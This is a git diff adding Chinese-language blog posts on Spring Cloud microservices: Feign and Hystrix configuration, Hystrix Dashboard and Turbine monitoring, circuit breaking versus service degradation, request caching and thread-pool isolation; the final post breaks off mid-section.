+同样也可以指定服务配置，直接在application.properties中采用.ribbon.key=value的格式进行配置，如下： + +``` +# 设置针对user-service服务的连接超时时间 +user-service.ribbon.ConnectTimeout=600 +# 设置针对user-service服务的读取超时时间 +user-service.ribbon.ReadTimeout=6000 +# 设置针对user-service服务所有操作请求都进行重试 +user-service.ribbon.OkToRetryOnAllOperations=true +# 设置针对user-service服务切换实例的重试次数 +user-service.ribbon.MaxAutoRetriesNextServer=2 +# 设置针对user-service服务的当前实例的重试次数 +user-service.ribbon.MaxAutoRetries=1 +``` + +在SpringCloudFeign中是默认打开重试机制，从上面的配置信息也可以看出，我们可以设置重试的次数。对于重试机制的测试，可以让服务提供方的方法延迟随机毫秒数来测试。 + +# Hystrix配置 + +对于Hystrix的配置同样可以在application.properties中配置，全局配置直接使用默认前缀hystrix.command.default，如 + +``` +# 设置熔断超时时间 +hystrix.command.default.execution.isolation.thread.timeoutInMilliseconds=10000 +# 关闭Hystrix功能（不要和上面的配置一起使用） +feign.hystrix.enabled=false +# 关闭熔断功能 +hystrix.command.default.execution.timeout.enabled=false +``` + +也可以直接对指定的接口进行配置，采用hystrix.command.default.作为前缀，比如如/findAllUser： + +``` +# 设置熔断超时时间 +hystrix.command.findAllUser.execution.isolation.thread.timeoutInMilliseconds=10000 +# 关闭熔断功能 +hystrix.command.findAllUser.execution.timeout.enabled=false +``` + +对于重复的接口名会共用这一条Hystrix配置； + +# 禁用Hystrix + +上面的配置信息中，可以通过配置文件全局禁用Hystrix也可以指定接口禁用。我们也可以注解属性的方式禁用Hystrix; ++ 构建一个关闭Hystrix的配置类 + +``` +@Configuration +public class DisableHystrixConfiguration { + + @Bean + @Scope("prototype") + public Feign.Builder feignBuilder(){ + return Feign.builder(); + } +} +``` + ++ 在@FeignClient注解中，通过configuration参数引入上面实现的配置 + +``` +@FeignClient(value = "USER-SERVICE",configuration = DisableHystrixConfiguration.class) +public interface UserRafactorService extends UserService { +} +``` + +# 服务降级配置 + +在Hystrix中我们可以直接通过@HystrixCommand注解的fallback参数进行配置降级处理方法，然而Feign对其进行封装，并提供了一种简单的定义方式： ++ 在之前的feign-consumer服务中创建一个UserServiceFallback类，该类实现UserService接口。这里对于哪个类接口的降级就实现哪个接口， + +``` +@Component +public class UserServiceFallback implements UserService { + @Override + public List findAll() { + return null; + } + + @Override + public User finUserById(Long id) { + return new User(-1L,"error",0); + } + + @Override + public User findUserHeader(String name, Long id, Integer age) { + return new User(-1L,"error",0); + } + + @Override + public User insertUser(User user) { + return new User(-1L,"error",0); + } +} +``` + ++ 然后再@FeignClient注解中指定服务降级处理类即可： + +``` +@FeignClient(value = "USER-SERVICE",fallback = UserServiceFallback.class) +``` + ++ 在配置文件中开启Hystrix： + +``` +feign: + hystrix: + enabled: true +``` + ++ 然后在USER-SERVICE服务中将某个接口设置延迟测试： + +# 请求压缩 + +Spring Cloud Feign支持对请求和响应进行GZIP压缩，以提高通信效率，配置方式如下： + +``` +# 配置请求GZIP压缩 +feign.compression.request.enabled=true +# 配置响应GZIP压缩 +feign.compression.response.enabled=true +# 配置压缩支持的MIME TYPE +feign.compression.request.mime-types=text/xml,application/xml,application/json +# 配置压缩数据大小的下限 +feign.compression.request.min-request-size=2048 +``` + +# 日志配置 + +SpringCloudFeign为每一个FeignClient都提供了一个feign.Logger实例。可以根据logging.level.参数配置格式来开启Feign客户端的DEBUG日志，其中为Feign客户端定义接口的完整路径。如： + +``` +logging: + level: + com.wqh.feign.service.UserService: debug +``` + +然后再主类中直接加入Looger.Level的Bean + +``` +@Bean +public Logger.Level feignLoggerLevel(){ + return Logger.Level.FULL; +} +``` + +这里也可以通过配置，然后在具体的Feign客户端来指定配置类实现日志。 +日志级别有下面4类： ++ NONE：不记录任何信息； ++ BASIC：仅记录请求方法、URL以及响应状态码和执行时间； ++ HEADERS：除了记录BASIC级别的信息外，还记录请求和响应的头信息； ++ FULL：记录所有请求与响应的明细，包括头信息、请求体、元数据等。 + +# 参考 ++ [客户端负载均衡Feign之四：Feign配置](https://www.cnblogs.com/duanxz/p/7519826.html) \ No newline at end of file diff --git a/_posts/2019-08-20-465-hystrix02.md b/_posts/2019-08-20-465-hystrix02.md new file mode 100644 index 0000000..8c63095 --- /dev/null +++ b/_posts/2019-08-20-465-hystrix02.md @@ -0,0 +1,12 @@ +--- +layout: post +title: 微服务：Hystrix工作流程解析 +pid: 465 +tags: [微服务] +--- + +待更新！ + +# 参考 + ++ [服务容错保护断路器Hystrix之二：Hystrix工作流程解析](https://www.cnblogs.com/duanxz/p/7521009.html) \ No newline at end of file diff --git a/_posts/2019-08-20-466-hystrix03.md b/_posts/2019-08-20-466-hystrix03.md new file mode 100644 index 0000000..d6bb240 --- /dev/null +++ b/_posts/2019-08-20-466-hystrix03.md @@ -0,0 +1,113 @@ +--- +layout: post +title: 微服务：Hystrix Dashboard 单体监控 +pid: 466 +tags: [微服务] +--- + +# 一、Hystrix Dashboard简介 + +在微服务架构中为了保证程序的可用性，防止程序出错导致网络阻塞，出现了断路器模型。断路器的状况反应了一个程序的可用性和健壮性，它是一个重要指标。Hystrix Dashboard是作为断路器状态的一个组件，提供了数据监控和友好的图形化界面。 + +本文我们将从两个方面来看Hystrix仪表盘的使用，一方面是监控单体应用，另一方面则整合Turbine，对集群进行监控。 + +## 背景 + +Hystrix除了隔离依赖服务的调用外，Hystrix还提供了近乎实时的监控，Hystrix会实时的，累加的记录所有关于HystrixCommand的执行信息，包括执行了每秒执行了多少请求，多少成功，多少失败等等，更多指标请查看：https://github.com/Netflix/Hystrix/wiki/Metrics-and-Monitoring导出监控数据有了这些指标，Netflix还提供了一个类库（hystrix-metrics-event-stream：https://github.com/Netflix/Hystrix/tree/master/hystrix-contrib/hystrix-metrics-event-stream）把这些指标信息以‘text/event-stream’的格式开放给外部使用，用法非常简单，首先，把hystrix-metrics-event-stream库添加到项目中： + + +# 创建项目hystrix-dashboard + ++ 启动类添加注解 @EnableHystrixDashboard ++ 更新 application.properties +``` +spring.application.name=hystrix-dashboard +server.port=2259 +``` ++ 访问 http://127.0.0.1:2259/hystrix + +# 更新项目 ribbon-consumer + ++ 更新 ConsumerApplication.java + +``` +package com.baoguoding.consumer; + +import com.netflix.hystrix.contrib.metrics.eventstream.HystrixMetricsStreamServlet; +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.boot.web.servlet.ServletRegistrationBean; +import org.springframework.cloud.client.circuitbreaker.EnableCircuitBreaker; +import org.springframework.cloud.client.loadbalancer.LoadBalanced; +import org.springframework.cloud.netflix.eureka.EnableEurekaClient; +import org.springframework.cloud.netflix.ribbon.RibbonClient; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.ComponentScan; +import org.springframework.context.annotation.FilterType; +import org.springframework.web.client.RestTemplate; + +@EnableCircuitBreaker +@SpringBootApplication +@EnableEurekaClient +@RibbonClient(name = "compute-service", configuration = TestConfiguration.class) +@ComponentScan(excludeFilters = {@ComponentScan.Filter(type= FilterType.ANNOTATION,value=ExcludeFromComponentScan.class)}) +public class ConsumerApplication { + + @Bean + @LoadBalanced + public RestTemplate restTemplate() { + return new RestTemplate(); + } + + @Bean + public ServletRegistrationBean getServlet(){ + + HystrixMetricsStreamServlet streamServlet = new HystrixMetricsStreamServlet(); + ServletRegistrationBean registrationBean = new ServletRegistrationBean(streamServlet); + registrationBean.setLoadOnStartup(1); //系统启动时加载顺序 + registrationBean.addUrlMappings("/hystrix.stream");//路径 + registrationBean.setName("HystrixMetricsStreamServlet"); + return registrationBean; + } + + + public static void main(String[] args) { + SpringApplication.run(ConsumerApplication.class, args); + } + +} +``` + ++ 更新 application.properties + +``` +spring.application.name=consumer-service +server.port=2230 +eureka.client.serviceUrl.defaultZone=http://localhost:1111/eureka/ + +feign.hystrix.enabled=true +``` + ++ 更新 pom.xml + +``` + + + org.springframework.cloud + spring-cloud-starter-netflix-hystrix + + + org.springframework.boot + spring-boot-starter-actuator + +``` + ++ 一定要先访问 http://127.0.0.1:2230/add?a=1&b=22 ++ 再访问 http://127.0.0.1:2230/hystrix.stream + +![](/uploads/2019/08/20-05.png) + +![](/uploads/2019/08/20-06.png) + +# 参考 ++ [服务容错保护断路器Hystrix之三：断路器监控(Hystrix Dashboard)-单体监控](https://www.cnblogs.com/duanxz/p/7525443.html) \ No newline at end of file diff --git a/_posts/2019-08-20-467-hystrix-turbine.md b/_posts/2019-08-20-467-hystrix-turbine.md new file mode 100644 index 0000000..3c80647 --- /dev/null +++ b/_posts/2019-08-20-467-hystrix-turbine.md @@ -0,0 +1,133 @@ +--- +layout: post +title: 微服务：Hystrix Turbine集群监控 +pid: 467 +tags: [微服务] +--- + ++ 新建项目 hystrix-turbine ++ 更新 pom.xml + +``` + + + 4.0.0 + + org.springframework.boot + spring-boot-starter-parent + 2.1.7.RELEASE + + + com.baoguoding + hystrix-turbine + 0.0.1-SNAPSHOT + hystrix-turbine + Demo project for Spring Boot + + + 1.8 + Greenwich.SR2 + + + + + org.springframework.boot + spring-boot-starter-actuator + + + org.springframework.cloud + spring-cloud-starter-netflix-turbine + + + + org.springframework.boot + spring-boot-starter-test + test + + + com.netflix.hystrix + hystrix-metrics-event-stream + 1.5.18 + compile + + + + + + + org.springframework.cloud + spring-cloud-dependencies + ${spring-cloud.version} + pom + import + + + + + + + + org.springframework.boot + spring-boot-maven-plugin + + + + + + +``` ++ 更新 HystrixTurbineApplication.java + +``` +package com.baoguoding.hystrixturbine; + +import com.netflix.hystrix.contrib.metrics.eventstream.HystrixMetricsStreamServlet; +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.boot.web.servlet.ServletRegistrationBean; +import org.springframework.cloud.client.discovery.EnableDiscoveryClient; +import org.springframework.cloud.netflix.turbine.EnableTurbine; +import org.springframework.context.annotation.Bean; + +@EnableTurbine +@EnableDiscoveryClient +@SpringBootApplication +public class HystrixTurbineApplication { + + @Bean + public ServletRegistrationBean getServlet() { + HystrixMetricsStreamServlet streamServlet = new HystrixMetricsStreamServlet(); + ServletRegistrationBean registrationBean = new ServletRegistrationBean(streamServlet); + registrationBean.setLoadOnStartup(1); + registrationBean.addUrlMappings("/hystrix.stream"); + registrationBean.setName("HystrixMetricsStreamServlet"); + return registrationBean; + } + + public static void main(String[] args) { + SpringApplication.run(HystrixTurbineApplication.class, args); + } + +} + +``` + ++ 更新 application.properties +``` +spring.application.name=turbine +server.port=2260 +eureka.instance.metadata-map.management.port=8990 + +eureka.client.serviceUrl.defaultZone=http://localhost:1111/eureka/ + +turbine.app-config=ribbon-consumer +turbine.cluster-name-expression="default" +turbine.combine-host-port=true +turbine.instanceUrlSuffix= /hystrix.stream + +``` + +# 参考 ++ [服务容错保护断路器Hystrix之四：断路器监控(Hystrix Dashboard)-turbine集群监控](https://www.cnblogs.com/duanxz/p/7525753.html) ++ [一些坑](https://www.cnblogs.com/houzheng/p/9906800.html) \ No newline at end of file diff --git a/_posts/2019-08-20-468-hystrix-conf.md b/_posts/2019-08-20-468-hystrix-conf.md new file mode 100644 index 0000000..914c535 --- /dev/null +++ b/_posts/2019-08-20-468-hystrix-conf.md @@ -0,0 +1,13 @@ +--- +layout: post +title: 微服务：Hystrix 配置 +pid: 468 +tags: [微服务] +--- + +待更新！ + + + +# 参考 ++ [服务容错保护断路器Hystrix之五：配置](https://www.cnblogs.com/duanxz/p/7526372.html) \ No newline at end of file diff --git a/_posts/2019-08-20-469-hystrix06.md b/_posts/2019-08-20-469-hystrix06.md new file mode 100644 index 0000000..f1100f2 --- /dev/null +++ b/_posts/2019-08-20-469-hystrix06.md @@ -0,0 +1,186 @@ +--- +layout: post +title: 微服务：服务熔断和服务降级 +pid: 469 +tags: [微服务] +--- + +伴随着微服务架构被宣传得如火如荼，一些概念也被推到了我们面前（管你接受不接受），其实大多数概念以前就有，但很少被提的这么频繁（现在好像不提及都不好意思交流了）。想起有人总结的一句话，微服务架构的特点就是：“一解释就懂，一问就不知，一讨论就吵架”。 + +其实对老外的总结能力一直特别崇拜，Kevin Kelly、Martin Fowler、Werner Vogels……，都是著名的“演讲家”。正好这段时间看了些微服务、容器的相关资料，也在我们新一代产品中进行了部分实践，回过头来，再来谈谈对一些概念的理解。 + +# 一、“服务熔断”和“服务降级” + +今天先来说说“服务熔断”和“服务降级”。为什么要说这个呢，因为我很长时间里都把这两个概念同质化了，不知道这两个词大家怎么理解，一个意思or有所不同？现在的我是这么来看的： + +两个示例： + +**示例1：** + +故事的背景是这样的：由于小强在工作中碰到一些问题，于是想请教一下业界大牛小壮。于是发生了下面的两个场景： + +小强在拿起常用手机拨号时发现该手机没有能够拨通，所以就拿出了备用手机拨通了某A的电话，这个过程就叫做降级（主逻辑失败采用备用逻辑的过程）。 + +由于每次小壮的解释都属于长篇大论，不太容易理解，所以小强每次找小壮沟通的时候都希望通过常用手机来完成，因为该手机有录音功能，这样自己可以慢慢消化。由于上一次的沟通是用备用电话完成的，小强又碰到了一些问题，于是他又尝试用常用电话拨打，这一次又没有能够拨通，所以他不得不又拿出备用手机给某A拨号，就这样连续的经过了几次在拨号设备选择上的“降级”，小强觉得短期内常用手机可能因为运营商问题无法正常拨通了，所以，再之后一段时间的交流中，小强就不再尝试用常用手机进行拨号，而是直接用备用手机进行拨号，这样的策略就是熔断（常用手机因短期内多次失败，而被暂时性的忽略，不再尝试使用） + +**示例2：** + ++ 在股票市场，熔断这个词大家都不陌生，是指当股指波幅达到某个点后，交易所为控制风险采取的暂停交易措施。相应的，服务熔断一般是指软件系统中，由于某些原因使得服务出现了过载现象，为防止造成整个系统故障，从而采用的一种保护措施，所以很多地方把熔断亦称为过载保护。 + ++ 大家都见过女生旅行吧，大号的旅行箱是必备物，平常走走近处绰绰有余，但一旦出个远门，再大的箱子都白搭了，怎么办呢？常见的情景就是把物品拿出来分分堆，比了又比，最后一些非必需品的就忍痛放下了，等到下次箱子够用了，再带上用一用。而服务降级，就是这么回事，整体资源快不够了，忍痛将某些服务先关掉，待渡过难关，再开启回来。 + +所以从上述分析来看，两者其实从有些角度看是有一定的类似性的： + ++ **目的很一致**，都是从可用性可靠性着想，为防止系统的整体缓慢甚至崩溃，采用的技术手段； ++ **最终表现类似**，对于两者来说，最终让用户体验到的是某些功能暂时不可达或不可用； ++ **粒度一般都是服务级别**，当然，业界也有不少更细粒度的做法，比如做到数据持久层（允许查询，不允许增删改）； ++ **自治性要求很高**，熔断模式一般都是服务基于策略的自动触发，降级虽说可人工干预，但在微服务架构下，完全靠人显然不可能，开关预置、配置中心都是必要手段； + +而两者的区别也是明显的： + ++ **触发原因不太一样**，服务熔断一般是某个服务（下游服务）故障引起，而服务降级一般是从整体负荷考虑； ++ **管理目标的层次不太一样**，熔断其实是一个框架级的处理，每个微服务都需要（无层级之分），而降级一般需要对业务有层级之分（比如降级一般是从最外围服务开始） ++ **实现方式不太一样**，这个区别后面会单独来说； + +# 二、熔断器的状态机 + +当然这只是我个人对两者的理解，外面把两者归为完全一致的也不在少数，或者把熔断机制理解为应对降级目标的一种实现也说的过去，可能“一讨论就吵架”也正是这个原因吧！ + +概念算是说完了，避免空谈，我再总结下对常用的实现方法的理解。对于这两个概念，号称支持的框架可不少，Hystrix当属其中的佼佼者。 + +先说说最裸的熔断器的设计思路，下面这张图大家应该不陌生（我只是参考着又画了画），简明扼要的给出了好的熔断器实现的三个状态机： + +![](/uploads/2019/08/21-01.png) + ++ Closed：熔断器关闭状态，调用失败次数积累，到了阈值（或一定比例，默认是50%）则启动熔断机制； ++ Open：熔断器打开状态，此时对下游的调用都内部直接返回错误，不走网络，但设计了一个时钟选项，默认的时钟达到了一定时间（这个时间一般设置成平均故障处理时间，也就是MTTR），到了这个时间，进入半熔断状态； ++ Half-Open：半熔断状态，允许定量的服务请求，如果调用都成功（或一定比例）则认为恢复了，关闭熔断器，否则认为还没好，又回到熔断器打开状态； + +那Hystrix，作为Netflix开源框架中的最受喜爱组件之一，是怎么处理依赖隔离，实现熔断机制的呢，他的处理远比我上面说个实现机制复杂的多，一起来看看核心代码吧，我只保留了代码片段的关键部分： + +```java + +public abstract class HystrixCommand extends AbstractCommand implements HystrixExecutable, HystrixInvokableInfo, HystrixObservable { + + protected abstract R run() throws Exception; + + protected R getFallback() { + throw new UnsupportedOperationException("No fallback available."); + } + + @Override + final protected Observable getExecutionObservable() { + return Observable.defer(new Func0>() { + @Override + public Observable call() { + try { + return Observable.just(run()); + } catch (Throwable ex) { + return Observable.error(ex); + } + } + }); + } + + @Override + final protected Observable getFallbackObservable() { + return Observable.defer(new Func0>() { + @Override + public Observable call() { + try { + return Observable.just(getFallback()); + } catch (Throwable ex) { + return Observable.error(ex); + } + } + }); + } + + public R execute() { + try { + return queue().get(); + } catch (Exception e) { + throw decomposeException(e); + } + } + +``` + +HystrixCommand是重重之重，在Hystrix的整个机制中，涉及到依赖边界的地方，都是通过这个Command模式进行调用的，显然，这个Command负责了核心的服务熔断和降级的处理，子类要实现的方法主要有两个： + ++ run方法：实现依赖的逻辑，或者说是实现微服务之间的调用； ++ getFallBack方法：实现服务降级处理逻辑，只做熔断处理的则可不实现； + +使用时，可参考如下方式： + +``` + +public class TestCommand extends HystrixCommand { + + protected TestCommand(HystrixCommandGroupKey group) { + super(group); + } + + @Override + protected String run() throws Exception { + //这里需要做实际调用逻辑 + return "Hello"; + } + + public static void main(String[] args) throws InterruptedException, ExecutionException, TimeoutException { + TestCommand command = new TestCommand(HystrixCommandGroupKey.Factory.asKey("TestGroup")); + + //1.这个是同步调用 + command.execute(); + + //2.这个是异步调用 + command.queue().get(500, TimeUnit.MILLISECONDS); + + //3.异步回调 + command.observe().subscribe(new Action1() { + public void call(String arg0) { + + } + }); + } +} + +``` + +细心的同学肯定发现Command机制里大量使用了Observable相关的API，这个是什么呢？原来其隶属于RxJava，这个框架就不多介绍了 --- 响应式开发，也是Netflix的作品之一，具体大家可参考这系列博客，我觉得作者写的很通俗：http://blog.csdn.net/lzyzsd/article/details/41833541/ + +接着呢，大家一定会问，那之前说的熔断阈值设置等，都在哪块做的呢？再来看看另一块核心代码： + +``` + +public abstract class HystrixPropertiesStrategy { + + public HystrixCommandProperties getCommandProperties(HystrixCommandKey commandKey, HystrixCommandProperties.Setter builder) { + return new HystrixPropertiesCommandDefault(commandKey, builder); + } + + ...... +} + +``` + +这个类作为策略类，返回相关的属性配置，大家可重新实现。而在具体的策略中，主要包括以下几种策略属性配置： + + ++ circuitBreakerEnabled：是否允许熔断，默认允许； ++ circuitBreakerRequestVolumeThreshold：熔断器是否开启的阀值，也就是说单位时间超过了阀值请求数，熔断器才开； ++ circuitBreakerSleepWindowInMilliseconds：熔断器默认工作时间，超过此时间会进入半开状态，即允许流量做尝试； ++ circuitBreakerErrorThresholdPercentage：错误比例触发熔断； ++ ...... + +属性很多，这里就不一一说明了，大家可参考HystrixCommandProperties类里的详细定义。还有一点要着重说明的，在熔断器的设计里，隔离采用了线程的方式（据说还有信号的方式，这两个区别我还没搞太明白），处理依赖并发和阻塞扩展，示意图如下： + +![](/uploads/2019/08/21-02.png) + +如上图，好处也很明显，对于每个依赖都有独立可控的线程池，当然高并发时，CPU切换较多，有一定的影响。 + +啰嗦了一堆，最后总结一下，我认为服务熔断和服务降级两者是有区别的，同时通过对Hystrix的简单学习，了解了其实现机制，会逐步引入到我们的产品研发中。当然还有好多概念：服务限流、分流，请求与依赖分离等，后面有时间一一与大家分享。 + +# 参考 ++ [服务容错保护断路器Hystrix之六：服务熔断和服务降级](https://www.cnblogs.com/duanxz/p/9641489.html) ++ [RxJava2.0——从放弃到入门](https://www.jianshu.com/p/cd3557b1a474) \ No newline at end of file diff --git a/_posts/2019-08-20-470-hystrix07.md b/_posts/2019-08-20-470-hystrix07.md new file mode 100644 index 0000000..4bfa8d9 --- /dev/null +++ b/_posts/2019-08-20-470-hystrix07.md @@ -0,0 +1,33 @@ +--- +layout: post +title: 微服务：缓存功能的使用 +pid: 470 +tags: [微服务] +--- + +高并发环境下如果能处理好缓存就可以有效的减小服务器的压力，Java中有许多非常好用的缓存工具，比如Redis、EHCache等，当然在Spring Cloud的Hystrix中也提供了请求缓存的功能，我们可以通过一个注解或者一个方法来开启缓存，进而减轻高并发环境下系统的压力。 + +# 请求缓存的整个生命周期 + +下图关于是请求缓存的整个生命周期 + +![](/uploads/2019/08/21-03.png) + +**缓存优势** ++ 复用性：这里的复用性指的是代码复用性 ++ 一致性：也就是常说的幂等性，不管请求几次，得到的结果应该都是一样的 ++ 减少重复工作：由于请求缓存是在HystrixCommand的construct()或run()运行之前运行，所有可以有效减少线程的使用 + +**适用场景** ++ 请求缓存的优势显而易见，但是也不是银弹。 ++ 在读少写多的场景就显得不太合适，对于读的请求，需要add缓存。对于增删改的请求，需要把缓存remove。在增加系统资源开销的同时，又很鸡肋。 ++ 所以一般适合读多写少的场景。似乎所有缓存机制都有这个局限性吧。 + +为了介绍Hystrix的缓存如何使用，先搭建一些服务做好准备工作： + + +# 参考 ++ [服务容错保护断路器Hystrix之六：缓存功能的使用](https://www.cnblogs.com/duanxz/p/9668011.html) ++ [深入理解幂等性](https://www.cnblogs.com/javalyy/p/8882144.html) ++ [Spring Cloud中Hystrix的请求缓存](https://segmentfault.com/a/1190000011280116) ++ [源代码](https://github.com/lenve/SimpleSpringCloud) \ No newline at end of file diff --git a/_posts/2019-08-20-471-hystrix08.md b/_posts/2019-08-20-471-hystrix08.md new file mode 100644 index 0000000..c7913c7 --- /dev/null +++ b/_posts/2019-08-20-471-hystrix08.md @@ -0,0 +1,186 @@ +--- +layout: post +title: 微服务：Hystrix资源隔离策略 +pid: 471 +tags: [微服务] +--- + +在一个基于微服务的应用程序中，您通常需要调用多个微服务完成一个特定任务。使用舱壁模式，这些调用默认是使用相同的线程来执行调用的，这些线程Java容器为处理所有请求预留的。在高服务器请求的情况下，一个性能较低的服务会“霸占”java容器中绝大多数线程，而其它性能正常的服务的请求则需要等待线程资源的释放。最后，整个java容器会崩溃。舱壁模式能将远程调用隔离在各个远程调用自己的线程池中，因此单个性能出问题的服务能得到控制，java容器也不会崩溃。 + +Hystrix将远程服务的请求托管在一个线程池中。即默认情况下，所有Hystrix命令(@HystrixCommand)共享同一个线程池来处理这些请求。该线程池中持有10个线程来处理各种远程服务请求，可以是REST服务调用、数据库访问等。如下图所示： + +![](/uploads/2019/08/23-01.jpg) + +@HystrixCommand的默认配置适用于只有少量远程调用的应用。幸运的是，Hystrix提供了简单易用的方法实现舱壁来隔离不同的远程资源调用。下图说明了Hystrix将不同的远程调用隔离在不同的“舱室”（线程池）中： + +![](/uploads/2019/08/23-02.jpg) + +实现这种隔离的线程池，需要使用到@HystrixCommand注解提供的其他属性。接下来，我们会： + ++ 为方法getLicensesByOrg()设置一个隔离的线程池 ++ 设置该线程池的线程数 ++ 设置队列的容量，该队列的作用是当线程池中的线程都处于工作状态，接下来的请求会进入该队列。 + +下面的代码演示了如何自定义舱壁： + +``` +@HystrixCommand( + fallbackMethod = "buildFallbackLicenseList", + threadPoolKey = "licenseByOrgThreadPool", + threadPoolProperties = { + @HystrixProperty(name = "coreSize",value="30"), + @HystrixProperty(name="maxQueueSize", value="10") + } +) +public List getLicensesByOrg(String organizationId){ + randomlyRunLong(); + return licenseRepository.findByOrganizationId(organizationId); +} +``` + +资源隔离的两种策略 + +**1.依赖隔离概述** + +依赖隔离是Hystrix的核心目的。依赖隔离其实就是资源隔离，把对依赖使用的资源隔离起来，统一控制和调度。那为什么需要把资源隔离起来呢？主要有以下几点： + ++ 合理分配资源，把给资源分配的控制权交给用户，某一个依赖的故障不会影响到其他的依赖调用，访问资源也不受影响。 ++ 可以方便的指定调用策略，比如超时异常，熔断处理。 ++ 对依赖限制资源也是对下游依赖起到一个保护作用，避免大量的并发请求在依赖服务有问题的时候造成依赖服务瘫痪或者更糟的雪崩效应。 ++ 对依赖调用进行封装有利于对调用的监控和分析，类似于hystrix-dashboard的使用。 + +Hystrix提供了两种依赖隔离方式：线程池隔离 和 信号量隔离。两种隔离方式都是限制对共享资源的并发访问量，线程在就绪状态、运行状态、阻塞状态、终止状态间转变时需要由操作系统调度，占用很大的性能消耗；而信号量是在访问共享资源时，进行tryAcquire，tryAcquire成功才允许访问共享资源。 + +如下图，线程池隔离，Hystrix可以为每一个依赖建立一个线程池，使之和其他依赖的使用资源隔离，同时限制他们的并发访问和阻塞扩张。每个依赖可以根据权重分配资源（这里主要是线程），每一部分的依赖出现了问题，也不会影响其他依赖的使用资源。 + +![](/uploads/2019/08/23-03.png) + +**2.线程池隔离** + +如果简单的使用异步线程来实现依赖调用会有如下问题：1、线程的创建和销毁；2、线程上下文空间的切换，用户态和内核态的切换带来的性能损耗。 + +使用线程池的方式可以解决第一种问题，但是第二个问题计算开销是不能避免的。Netflix在使用过程中详细评估了使用异步线程和同步线程带来的性能差异，结果表明在99%的情况下，异步线程带来的几毫秒延迟的完全可以接受的。 + +![](/uploads/2019/08/23-04.png) + +**3.线程池隔离的优缺点** + +优点： + ++ 一个依赖可以给予一个线程池，这个依赖的异常不会影响其他的依赖。 ++ 使用线程可以完全隔离第三方代码,请求线程可以快速放回。 ++ 当一个失败的依赖再次变成可用时，线程池将清理，并立即恢复可用，而不是一个长时间的恢复。 ++ 可以完全模拟异步调用，方便异步编程。 ++ 使用线程池，可以有效的进行实时监控、统计和封装。 + +缺点： + ++ 使用线程池的缺点主要是增加了计算的开销。每一个依赖调用都会涉及到队列，调度，上下文切换，而这些操作都有可能在不同的线程中执行。 + +**4.Command Name&Command Group** + +Hystrix使用Command模式对依赖调用进行封装。当我们写一个调用继承HystrixCommand的时候，可以指定一个名称Command Name。如果不指定Hystrix将会使用getClass().getSimpleName()来默认获取。如果要指定，可以使用如下代码，使用HystrixCommandKey.Factory帮助类在构造函数中指定。 + +``` +public HelloWorldCommand(String name) +{ + //定义命令组 和 方法调用超时时间 + super(Setter.withGroupKey(HystrixCommandGroupKey.Factory.asKey("HelloWorldGroup")) + .andCommandKey(HystrixCommandKey.Factory.asKey("HelloWorldCommand"))); + this.name = name; +} + +``` + +而Command Group可以把一组Command归为一组。如上例代码，可以使用HystrixCommandGroupKey.Factory.asKey来指定Command Group。一般情况下，逻辑上是同一类型的会放在同一个Command Group中。比如，获取用户相关信息的依赖可以放在一起。 + +虽然Hystrix可以为每个依赖建立一个线程池，但是如果依赖成千上万，建立那么多线程池肯定是不可能的。所以默认情况下，Hystrix会为每一个Command Group建立一个线程池。 + +**5.Command Thread Pool** + +Hystrix可以指定创建或关联上一个线程池，每一个线程池都有一个Key。这个线程池就是线程隔离的关键，所有的监控、缓存、调用等等都来自于这个线程池。可以通过如下代码指定线程池： + +``` +public HelloWorldCommand(String name) +{ + //定义命令组 和 方法调用超时时间 + super(Setter.withGroupKey(HystrixCommandGroupKey.Factory.asKey("HelloWorldGroup")) + .andCommandKey(HystrixCommandKey.Factory.asKey("HelloWorldCommand")) + .andThreadPoolKey(HystrixThreadPoolKey.Factory.asKey("HelloWorldPool"))); + this.name = name; +} +``` + +上文说到，默认情况下，每一个Command Group会自动创建一个线程池。那什么时候我们需要单独指定线程池呢？因为线程池主要的目的是隔离，所以当有一些依赖在一个Command Group中，但是又有隔离的必要的时候，比如一个依赖的超时会用满所有的线程池线程，而不应该影响其他的依赖。 + +**6.基本实现原理** + +Command模式：Hystrix中大量使用rxjava来实现Command模式。所有自定义的Command，不管继承于HystrixObservableCommand还是HystrixCommand,最终都继承于AbstractCommand。Thread Pool，Command Group，Command Key都在AbstractCommand这里实现。 + +线程池的创建和管理：Hystrix的线程池在HystrixConcurrencyStrategy初始化，线程池是由ThreadPoolExecutor实现的。每个线程池默认初始化10个线程。Hystrix有个静态类Factory，创建的线程池会被存储在Factory中的ConcurrentHashMap中。ConcurrentHashMap的Key则是上文说到的CommandGroupKey或者指定的ThreadPoolKey。每次命令执行的时候，都会根据ThreadPoolKey去找到对应的线程池。线程池拥有一个继承于rxjava中Scheduler的HystrixContextScheduler，用于在执行命令的时候，把命令在这个线程池上调度执行。 + +命令的执行：以execute()方法为例，Hystrix通过toObservable()来构造命令，构造过程中，定义了整个命令执行过程中的stage（未开始、执行中、完成执行、执行异常等等）的回调和处理方法。在executeCommandWithSpecifiedIsolation()方法中，使用exjava的subscribeOn方法，传入上文提到的HystrixContextScheduler对象，通过HystrixContextScheduler的ThreadPoolScheduler把命令submit到ThreadPoolExecutor中去执行。 + +**7.最佳实践** + +对于那些本来延迟就比较小的请求（例如访问本地缓存成功率很高的请求）来说，线程池带来的开销是非常高的，这时，你可以考虑采用其他方法，例如非阻塞信号量（不支持超时），来实现依赖服务的隔离，使用信号量的开销很小。但绝大多数情况下，Netflix 更偏向于使用线程池来隔离依赖服务，因为其带来的额外开销可以接受，并且能支持包括超时在内的所有功能。 + +在一个分布式系统中，服务之间都是相互调用的，如下图所示： + +![](/uploads/2019/08/23-05.png) + +例如，我们容器(Tomcat)配置的线程个数为1000，服务A-服务R，其中服务I的并发量非常的大，需要500个线程来执行，此时，服务I又挂了，那么这500个线程很可能就夯死了，那么剩下的服务，总共可用的线程为500个，随着并发量的增大，剩余服务挂掉的风险就会越来越大，最后导致整个系统的所有服务都不可用，直到系统宕机。这就是服务的雪崩效应。Hystrix就是用来做资源隔离的，比如说，当客户端向服务端发送请求时，给服务I分配了10个线程，只要超过了这个并发量就走降级服务，就算服务I挂了，最多也就导致服务I不可用，容器的10个线程不可用了，但是不会影响系统中的其他服务。下面，我们就来具体说下这两种隔离策略： + +1、线程池 + +线程池隔离的示意图如下： + +![](/uploads/2019/08/23-06.png) + +上图的左边2/3是线程池资源隔离示意图，右边的1/3是信号量资源隔离示意图，我们先来看左边的示意图。 + 